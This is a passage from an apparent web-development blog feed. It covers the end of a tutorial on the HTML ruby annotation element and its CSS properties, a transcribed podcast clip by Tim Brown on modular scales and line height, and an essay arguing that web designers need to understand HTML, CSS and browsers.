    &lt;div class=&quot;th td&quot;&gt;&amp;lt;rtc&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Refers to the &lt;em&gt;ruby text container&lt;/em&gt; element. Serves as the container for{&quot; &quot;}
      &lt;code&gt;rt&lt;/code&gt; elements in the complex ruby markup use-case. A maximum of 2 &lt;code&gt;rtc&lt;/code&gt;{&quot; &quot;}
      elements can appear in a &lt;code&gt;ruby&lt;/code&gt; element.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;&amp;lt;rt&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Refers to the &lt;em&gt;ruby text&lt;/em&gt; element. Serves as the markup for ruby text. Can contain
      inline elements but cannot have &lt;code&gt;ruby&lt;/code&gt; elements as children. Has{&quot; &quot;}
      &lt;code&gt;rbspan&lt;/code&gt; attribute for use in complex ruby markup, which allows an &lt;code&gt;rt&lt;/code&gt;{&quot; &quot;}
      element to span multiple &lt;code&gt;rb&lt;/code&gt; elements.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;&amp;lt;rp&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Refers to the &lt;em&gt;ruby parenthesis&lt;/em&gt; element. Acts as a fallback option for user-agents
      which do not support ruby to differentiate ruby text from base text.
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Basic ruby markup is supported by all major browsers except Opera Mini.&lt;/p&gt;
&lt;div class=&quot;grid-inline&quot;&gt;
  &lt;ruby&gt;
    &lt;rb&gt;大马女子篮球队&lt;/rb&gt;
    &lt;rt&gt;dà mǎ nǚ zǐ lán qiú duì&lt;/rt&gt;
  &lt;/ruby&gt;
&lt;/div&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ruby&amp;gt;
  &amp;lt;rb&amp;gt;大马女子篮球队&amp;lt;/rb&amp;gt;
  &amp;lt;rt&amp;gt;dà mǎ nǚ zǐ lán qiú duì&amp;lt;/rt&amp;gt;
&amp;lt;/ruby&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The complex ruby markup (use of the &lt;code&gt;&amp;lt;rtc&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;rbc&amp;gt;&lt;/code&gt; elements) is only fully supported by Firefox, so if you&apos;re using any other browser, the example should have parentheses around the ruby annotations, and the formatting may look quite bad. In Firefox, the &lt;code&gt;&amp;lt;rp&amp;gt;&lt;/code&gt; tag tells the browser to ignore those parentheses.&lt;/p&gt;
&lt;p&gt;{/_ prettier-ignore _/}
&lt;ruby&gt;
&lt;ruby xml:lang=&quot;zh&quot;&gt;
&lt;rbc&gt;
&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;dà&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;rb&gt;马&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;mǎ&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;rb&gt;女&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;nǚ&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;zǐ&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;rb&gt;篮&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;lán&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;rb&gt;球&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;qiú&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;rb&gt;队&lt;/rb&gt;&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;duì&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;/rbc&gt;
&lt;/ruby&gt;
&lt;rtc xml:lang=&quot;en&quot; style=&quot;ruby-position: under;&quot;&gt;
&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Malaysia Women&apos;s Basketball Team&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;/rtc&gt;
&lt;/ruby&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ruby&amp;gt;
  &amp;lt;ruby xml:lang=&amp;quot;zh&amp;quot;&amp;gt;
    &amp;lt;rbc&amp;gt;
      &amp;lt;rb&amp;gt;大&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;dà&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
      &amp;lt;rb&amp;gt;马&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;mǎ&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
      &amp;lt;rb&amp;gt;女&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;nǚ&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
      &amp;lt;rb&amp;gt;子&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;zǐ&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
      &amp;lt;rb&amp;gt;篮&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;lán&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
      &amp;lt;rb&amp;gt;球&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;qiú&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
      &amp;lt;rb&amp;gt;队&amp;lt;/rb&amp;gt;&amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;duì&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
    &amp;lt;/rbc&amp;gt;
  &amp;lt;/ruby&amp;gt;
  &amp;lt;rtc xml:lang=&amp;quot;en&amp;quot; style=&amp;quot;ruby-position: under;&amp;quot;&amp;gt;
  &amp;lt;rp&amp;gt;(&amp;lt;/rp&amp;gt;&amp;lt;rt&amp;gt;Malaysia Women&apos;s Basketball Team&amp;lt;/rt&amp;gt;&amp;lt;rp&amp;gt;)&amp;lt;/rp&amp;gt;
  &amp;lt;/rtc&amp;gt;
&amp;lt;/ruby&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the benefit of people who do not have Firefox installed, here&apos;s how the markup is supposed to be rendered.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/html-ruby/complex.jpg&quot;
  srcset=&quot;/images/posts/html-ruby/complex@2x.jpg 2x&quot;
  alt=&quot;Complex ruby markup fallback&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;If you noticed the additional ruby-position style applied to the bottom ruby text, that&apos;s because the default position of ruby text is above the base text. In this case, there are 2 lines of ruby text and they will overlap each other. Setting &lt;code&gt;ruby-position: under;&lt;/code&gt; moves that line under the base text instead.&lt;/p&gt;
&lt;h2&gt;Styling &amp;lt;ruby&amp;gt; elements&lt;/h2&gt;
&lt;p&gt;There are 3 formatting properties we can use with ruby elements, &lt;code&gt;ruby-position&lt;/code&gt;, &lt;code&gt;ruby-merge&lt;/code&gt; and &lt;code&gt;ruby-align&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ruby-position&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The property only applies to ruby element containers, &lt;code&gt;&amp;lt;rtc&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;rbc&amp;gt;&lt;/code&gt;, and controls the position of ruby text with respect to its base. As of time of writing, this only works on Firefox.&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;over&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Renders the ruby text above the base for horizontal text and to the right of base for vertical
      text. It&apos;s the default value.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;under&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Renders the ruby text below the base for horizontal text and to the left of base for vertical
      text
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;inter-character&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Renders the ruby text on the right of each base character for horizontal text, but this forces
      the ruby text to be displayed vertically. (Currently not implemented anywhere)
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;grid-inline&quot;&gt;
  &lt;figure&gt;
    &lt;figcaption&gt;ruby-position: over&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/html-ruby/over-h.jpg&quot; alt=&quot;Over (horizontal)&quot; /&gt;
    &lt;img src=&quot;/images/posts/html-ruby/over-v.jpg&quot; alt=&quot;Over (vertical)&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure&gt;
    &lt;figcaption&gt;ruby-position: under&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/html-ruby/under-h.jpg&quot; alt=&quot;Under (horizontal)&quot; /&gt;
    &lt;img src=&quot;/images/posts/html-ruby/under-v.jpg&quot; alt=&quot;Under (vertical)&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure&gt;
    &lt;figcaption&gt;ruby-position: inter-character&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/html-ruby/inter.jpg&quot; alt=&quot;Inter-character&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h3&gt;&lt;code&gt;ruby-merge&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property controls how ruby boxes should be rendered if there are multiple ruby containers adjacent to each other. This property is essentially not implemented in any browser simply because the only value that works is &lt;code&gt;separate&lt;/code&gt;, which is the default value.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ruby&amp;gt;無&amp;lt;rt&amp;gt;む&amp;lt;/rt&amp;gt;&amp;lt;/ruby
&amp;gt;&amp;lt;ruby&amp;gt;常&amp;lt;rt&amp;gt;じょう&amp;lt;/rt&amp;gt;&amp;lt;/ruby&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ruby style=&amp;quot;ruby-merge:separate&amp;quot;&amp;gt;&amp;lt;rb&amp;gt;無&amp;lt;/rb&amp;gt;&amp;lt;rb&amp;gt;常&amp;lt;/rb&amp;gt;&amp;lt;rt&amp;gt;む&amp;lt;/rt&amp;gt;&amp;lt;rt&amp;gt;じょう&amp;lt;/rt&amp;gt;&amp;lt;/ruby&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above two code examples mean exactly the same thing. Each annotation box is in the same column as its corresponding base box, and this style is called &amp;quot;mono ruby&amp;quot;.&lt;/p&gt;
&lt;p&gt;There is also the &lt;code&gt;collapse&lt;/code&gt; value, which concatenates all ruby annotation boxes within the same ruby segment on the same line. This combined annotation box spans across their corresponding base boxes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ruby&amp;gt;無常&amp;lt;rt&amp;gt;むじょう&amp;lt;/rt&amp;gt;&amp;lt;/ruby&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ruby style=&amp;quot;ruby-merge:collapse&amp;quot;&amp;gt;&amp;lt;rb&amp;gt;無&amp;lt;/rb&amp;gt;&amp;lt;rb&amp;gt;常&amp;lt;/rb&amp;gt;&amp;lt;rt&amp;gt;む&amp;lt;/rt&amp;gt;&amp;lt;rt&amp;gt;じょう&amp;lt;/rt&amp;gt;&amp;lt;/ruby&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above two code examples mean exactly the same thing. Each annotation box is in the same column as its corresponding base box, and this style is called &amp;quot;group ruby&amp;quot;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;auto&lt;/code&gt; value cedes the rendering style to the user agent depending on the length of the annotation box with respect to the base box.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ruby-align&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property dictates the distribution of ruby boxes when their contents do not fill their respective boxes exactly. Currently, Firefox is the only browser that supports this property.&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;start&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Aligns ruby content with the start of its box.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;center&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Centres ruby content within its box.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;space-between&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Distributes ruby content evenly within its box from edge to edge.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;space-around&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Distributes ruby content evenly within its box, but does not necessarily fill up space from
      edge to edge.
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Support for the &lt;code&gt;&amp;lt;ruby&amp;gt;&lt;/code&gt; element has improved quite a lot since 2010, and although the more complex markup and styling options are limited to Firefox only, at least all browsers can display basic ruby markup now. Below is the list of relevant resources for the HTML &lt;code&gt;&amp;lt;ruby&amp;gt;&lt;/code&gt; element if you&apos;re interested to find out more.&lt;/p&gt;
&lt;p&gt;{/_ prettier-ignore _/}&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;
    &lt;a href=&quot;https://html.spec.whatwg.org/#the-ruby-element&quot;&gt;HTML Living Standard - 4.5.10 The ruby element&lt;/a&gt;
  &lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;
    &lt;a href=&quot;https://drafts.csswg.org/css-ruby-1/&quot;&gt;CSS Ruby Layout Module Level 1&lt;/a&gt;
  &lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;
    &lt;a href=&quot;https://web.archive.org/web/20190125202728/http://www.html5.jp/tag/elements/ruby.html&quot;&gt;ruby 要素&lt;/a&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;https://www.w3.org/International/tests/repo/results/css-ruby&quot;&gt;Summarized test results: CSS3 Ruby&lt;/a&gt;
  &lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Tim Brown on Shoptalk Ep. 218</title><link>https://chenhuijing.com/blog/tim-brown-on-shoptalk/</link><guid isPermaLink="true">https://chenhuijing.com/blog/tim-brown-on-shoptalk/</guid><description>Episode 218 of Shoptalk featured an audio clip by one of my favourite designers, Tim Brown. It&apos;s a short clip, but it really resonated with me, and I thought…</description><pubDate>Wed, 01 Jun 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://shoptalkshow.com/episodes/218-rapidfire-60/&quot;&gt;Episode 218&lt;/a&gt; of &lt;a href=&quot;http://shoptalkshow.com/&quot;&gt;Shoptalk&lt;/a&gt; featured an audio clip by one of my favourite designers, &lt;a href=&quot;http://tbrown.org/&quot;&gt;Tim Brown&lt;/a&gt;. It&apos;s a short clip, but it really resonated with me, and I thought I&apos;d share it with everyone. You should really listen to the podcast in its entirety. In fact, subscribe to it in the pod-catcher of your choice, you have nothing to lose and everything to gain. Anyway, here&apos;s the full transcript of what he said.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Modular scales are like rulers. They help you measure, but you decide what your measuring. The real power of modular scales is that they anchor your measurements to something sturdy. Web layouts and viewport dimensions are fluid, of course, but a person&apos;s default font size, whatever that is, they have it. That is something you can count on. So it&apos;s smart to make that the basis of your measurement.&lt;/p&gt;
&lt;p&gt;Relating various measurements by a ratio, in my experience, makes things look really good. Of course, I tweak things and eyeball things, I don&apos;t always stick to a scale. No one ratio is better than other ratios. Some people think that there&apos;s magical power in the golden section, but I think of it as a ratio that feels like some classic serifed typefaces feel. It lends that feeling to my work. That&apos;s really what I get out of ratios. It brings that certain feeling to the work in the same sort of indescribable way that using some fonts brings a feeling to the work.&lt;/p&gt;
&lt;p&gt;At &lt;a href=&quot;https://vimeo.com/17079380&quot;&gt;that talk I gave at Build&lt;/a&gt;, which was my first ever conference talk, I showed a couple things I would not recommend doing. One of them is I used pixels for measurement. I did that on purpose in that talk because I thought introducing modular scale math would be easier that way. I thought that showing ems, which at the time a lot of people were resistant would over-complicate the examples. I think that was a mistake because lots of people have watched the video and I don&apos;t want them to think pixels are a good thing to use for sizing.&lt;/p&gt;
&lt;p&gt;The other thing I did was I picked a number from the modular scale for line height. That&apos;s problematic. I&apos;ve come to think differently about line height. This gets to the vertical rhythm issue. This is a little tricky to explain but stay with me. Let&apos;s say you&apos;re type-setting a website. You have a font for your body text and that text is set at a specific font size, your next decisions should be about how narrow or wide the paragraphs of body text can be and still look good to you.&lt;/p&gt;
&lt;p&gt;In a fluid layout, the width of a text block flexes within those limits. What you&apos;ll find is that wider text blocks look better with loose line spacing and narrow text blocks look better with tight line spacing. So what we really need is fluid line spacing, which i have dubbed Molten Leading.&lt;/p&gt;
&lt;p&gt;You can pull this off with JavaScript or with CSS calc() or viewport units. You see the problem here is that would interfere with vertical rhythm. I give a talk called &lt;a href=&quot;http://universaltypography.com/&quot;&gt;Universal Typography&lt;/a&gt;, where I describe the relationship between font size, line height and width. Those 3 things are really important in combination.&lt;/p&gt;
&lt;p&gt;Because of the way text moves in fluid compositions you almost never want to nail down your line height. It&apos;s possible that in the future, we could advance molten leading to be more like molten white-space, and that might help vertical rhythm stay intact better in a fluid composition.&lt;/p&gt;
&lt;p&gt;But I think there&apos;s a bigger issue here, and that is that we seek definitive formulaic answers to aesthetic problems. We want rules to follow, that we feel like we did things right, so we have a defensive position when someone criticises our work. The thing is you can&apos;t prove design is good, you can only convince people. When you try to that by employing a method like vertical rhythm, which currently doesn&apos;t mesh well with the web&apos;s fluidity, you have a problem.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;That last paragraph right there was what did it for me, reminding me that for all the rules and guidelines we try to follow, sometimes, a designer&apos;s intuition is really what makes a difference.&lt;/p&gt;
&lt;h2&gt;Related links&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://shoptalkshow.com/&quot;&gt;Shoptalk&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://tbrown.org/&quot;&gt;Tim Brown&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://vimeo.com/17079380&quot;&gt;More Perfect Typography&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://universaltypography.com/&quot;&gt;Universal Typography&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Web designers, can you speak web?</title><link>https://chenhuijing.com/blog/speak-web/</link><guid isPermaLink="true">https://chenhuijing.com/blog/speak-web/</guid><description>To start things off, let me state my position. This house proposes that because HTML and CSS are the language of the web, it is mandatory for anyone who wishes…</description><pubDate>Thu, 21 Apr 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;To start things off, let me state my position. This house proposes that because HTML and CSS are the language of the web, it is mandatory for anyone who wishes to design for the web to understand &lt;strong&gt;the relationship between HTML and CSS&lt;/strong&gt;, and &lt;strong&gt;the browsers which render them&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;There have been many opinion pieces written about whether designers need to learn to code or whether developers need to know design. Using the word &amp;quot;many&amp;quot; is probably understating the sheer volume of articles that have been published. Just google &amp;quot;Designers learn code&amp;quot;. Go on, I&apos;ll wait. Check the timestamps on some of those results, you&apos;ll see that this debate has raged on for years and there seems to be no end in sight.&lt;/p&gt;
&lt;h2&gt;Artisans and their media&lt;/h2&gt;
&lt;p&gt;Instead of jumping right into that controversial topic, let&apos;s talk about medium. For artists, medium is the material they use to create works of art. But medium is not only relevant for artists. Carpenters, bakers, chefs, architects too have specific media they work with.&lt;/p&gt;
&lt;p&gt;Think of all the different categories of designers out there, industrial designers, fashion designers, graphic designers, interior designers and so on. In order to do great work in their respective fields, all these professionals must have &lt;strong&gt;a deep and comprehensive understanding of the media they work with&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Industrial designers need to have a key understanding of materials and manufacturing processes. Fashion designers have an innate understanding of the characteristics of different fabrics and how they behave in various contexts. Artists learn pretty early on that although its theoretically possible to use any paint on any surface, there are preferred combinations of media simply because of their nature, and this will affect their choice of painting technique as well.&lt;/p&gt;
&lt;p&gt;It&apos;s a pretty logical expectation to have, right? For the artisan in question to have extensive and thorough knowledge of their respective media. I think this can be said for most of the aforementioned professions.&lt;/p&gt;
&lt;p&gt;So what is the medium that web designers work with? That&apos;s simple, the browser! But what I find curious is, that for web design, it seems that some of us can get away with being unfamiliar with browser technologies. And to me, this is unacceptable, and quite unbecoming, to be honest.&lt;/p&gt;
&lt;p&gt;To be fair, the browser is a relatively young medium. Compared to all the other media out there, the browser is practically just a toddler. The very first web browser (called &lt;a href=&quot;http://info.cern.ch/NextBrowser.html&quot;&gt;WorldWideWeb&lt;/a&gt;) was invented in 1990 by &lt;a href=&quot;https://www.w3.org/People/Berners-Lee/&quot;&gt;Sir Tim Berners-Lee&lt;/a&gt;. So as of time of writing, that&apos;s only 26 years. I&apos;ve lived longer than that. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Browser is to web designer as canvas is to painter&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A web designer&apos;s work lives in the browser&lt;/strong&gt;. And the browser is a piece of software that requests web resources from servers connected to the internet, and displays them in the browser window.&lt;/p&gt;
&lt;p&gt;The World Wide Web is built on Hypertext Markup Language (HTML). Sure there are all kinds of media available online, but there is no web without HTML. Browsers render HTML according to the &lt;a href=&quot;https://www.w3.org/TR/html/&quot;&gt;HTML&lt;/a&gt; and &lt;a href=&quot;https://www.w3.org/Style/CSS/specs.en.html&quot;&gt;CSS specifications&lt;/a&gt;, which are maintained by the &lt;a href=&quot;https://www.w3.org/&quot;&gt;World Wide Web Consortium (W3C)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The web introduced us to a canvas we&apos;ve never seen before. Browser windows and electronic screens are twenty-first century inventions. All other categories of design have had at least more than hundreds of years of history and established norms.&lt;/p&gt;
&lt;p&gt;What do we do when we encounter something new? We try to make sense of it by connecting it to something we are familiar with. The fact that we use the term &amp;quot;web pages&amp;quot;, naturally led people to associate web design with print design.&lt;/p&gt;
&lt;p&gt;And therein lies the issue. Firstly, there&apos;s the fact that we cannot directly manipulate digital media. Whatever we input has to be first processed by a computer. And the web is distinct from any other media on the planet because we have &lt;strong&gt;very limited control over how users consume the work we produce on the web&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The control which designers know in the print medium, and often desire in the web medium, is simply a function of the limitation of the printed page. We should embrace the fact that the web doesn’t have the same constraints, and design for this flexibility. But first, we must “accept the ebb and flow of things.” - John Allsopp&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;John Allsopp wrote his seminal article &lt;a href=&quot;http://alistapart.com/article/dao&quot;&gt;A Dao of Web Design&lt;/a&gt; back in 2000 imploring web designers to move away from the rigidity of a printed page and embrace the flexibility of the browser as a medium. It&apos;s been 16 years since, but we&apos;re still working on that.&lt;/p&gt;
&lt;p&gt;I truly believe that web designers &lt;em&gt;must&lt;/em&gt; understand browser technologies in order to design well. If you don&apos;t understand how your the browser renders stuff onto the screen, how can you design for it? It is so common to hear developers complaining about designers handing them &amp;quot;impossible designs&amp;quot;.&lt;/p&gt;
&lt;p&gt;Look, you can&apos;t carve a sculpture if your media are paint and canvas.&lt;/p&gt;
&lt;h2&gt;But designers don&apos;t want to code&lt;/h2&gt;
&lt;p&gt;This is the part where everyone has an opinion. Some people argue HTML and CSS are not programming languages, some say they are. Some people think designers learning to code is a waste of time because left brain right brain. Some people think developers ought to learn design. Sure, why not?&lt;/p&gt;
&lt;p&gt;Now I want to point out that my position did not state that web designers must know how to code. But I do think it&apos;s an extremely useful tool to have in your toolbox. And I&apos;m not even talking about being able to handle all the different aspects of getting a website up and running. Just HTML and CSS.&lt;/p&gt;
&lt;p&gt;Equally (or maybe more) important is understanding how browsers work. Do you know why the design doesn&apos;t look the same when viewed on different browsers or operating systems? Why do certain portions of the site appear broken on a particular browser (**cough** Safari) yet not others? If Blink, WebKit, Gecko and Edge sound like names of exotic dancers to you, then you definitely don&apos;t pass muster. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing NO&quot;&gt;🙅&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;But front-end code (just HTML and CSS; let’s forget JavaScript for now) is intrinsically linked to the design process. It’s a design tool just as much as Photoshop. - Elliot Jay Stocks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I find this quote by &lt;a href=&quot;http://www.elliotjaystocks.com/&quot;&gt;Elliot Jay Stocks&lt;/a&gt;, former Creative Director of &lt;a href=&quot;https://typekit.com/&quot;&gt;Adobe Typekit&lt;/a&gt; and co-founder of &lt;a href=&quot;http://www.readlagom.com/&quot;&gt;Lagom&lt;/a&gt;, really hits the point home. If the browser is your canvas, then HTML and CSS are your paints and brushes.&lt;/p&gt;
&lt;p&gt;Rather than asking if designers should learn to code, we should be asking if designers know whether their designs can be built, and whether their designs are usable.&lt;/p&gt;
&lt;h2&gt;Web design is more than good looks&lt;/h2&gt;
&lt;p&gt;The web is not a static medium, it&apos;s an interactive one. Hence, web design encompasses so much more than just visuals. Usability is not the sole responsibility of user experience practitioners. If you ask me, user experience is the responsibility of every single person on the team, but that&apos;s another argument for another day.&lt;/p&gt;
&lt;p&gt;A thorough understanding of the web includes knowing what needs to be implemented and designed from an accessibility standpoint. Because the web is consumed so dynamically, from the infinite range of screens, to screen readers and other assistive technologies.&lt;/p&gt;
&lt;p&gt;Designing for a dynamic canvas, from screens that fit in your palm, to 27-inch 5K iMac displays and beyond, requires a significantly different approach from designing for a static-sized canvas. &lt;a href=&quot;http://alistapart.com/article/responsive-web-design&quot;&gt;Responsive design&lt;/a&gt;, anybody? This affects how we use images, how we scale typography as different viewport widths, laying out of critical content and so on.&lt;/p&gt;
&lt;p&gt;Speaking of content, the web is also an informational medium. Content is king. It&apos;s safe to say we don&apos;t design websites, &lt;strong&gt;we design content&lt;/strong&gt;. I&apos;m not saying visual design isn&apos;t important. It is. But its purpose is to enhance the users&apos; consumption of the content.&lt;/p&gt;
&lt;p&gt;Just because a designer can wield digital tools like a surgeon wields a scalpel doesn&apos;t mean he/she is a good &lt;em&gt;web&lt;/em&gt; designer. Not to say that static mock-ups are worthless, on the contrary, static mock-ups are great as guidance for the look and feel, but they should &lt;em&gt;not&lt;/em&gt; be used as blueprints for a web design.&lt;/p&gt;
&lt;p&gt;In spite of the wide range of tools available to help designers design responsive websites, there is no better tool than actual HTML and CSS. A web designer who isn&apos;t fluent in HTML is like a colour-blind painter.&lt;/p&gt;
&lt;h2&gt;Building a great web experience takes teamwork&lt;/h2&gt;
&lt;p&gt;If you firmly believe that designers should stick to designing and developers should stick to coding, that&apos;s fine too. But then communication between the two groups becomes even more critical. Both designers and developers have to be collaborating closely right from the start for the end-result to be a success.&lt;/p&gt;
&lt;p&gt;And if designers and developers work so closely together, it&apos;s impossible that the designer won&apos;t pick up HTML and CSS along the way. Conversely, the designers&apos; design sense will inevitably rub off on the developers as well. Does that mean you can switch roles? Of course not! There&apos;s a reason you each chose your respective careers. But a better understanding of each other&apos;s work goes a long way.&lt;/p&gt;
&lt;p&gt;Again, it&apos;s not about the writing of code, it&apos;s about the understanding of the medium, how it behaves and how it&apos;s consumed. Of course, if the web designer can write his/her own code, more power to them.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Web design is a domain of its own. Yes, we borrow ideas and concepts from all other disciplines, but the web is unique, and requires its own set of processes and a different set of skills. And to be fair, all of us working on the web are still trying to work out the best way to do things. To me, it&apos;s a beautiful marriage of technology and creativity. We just have to keep learning and growing. So, web designers, can you speak web?&lt;/p&gt;
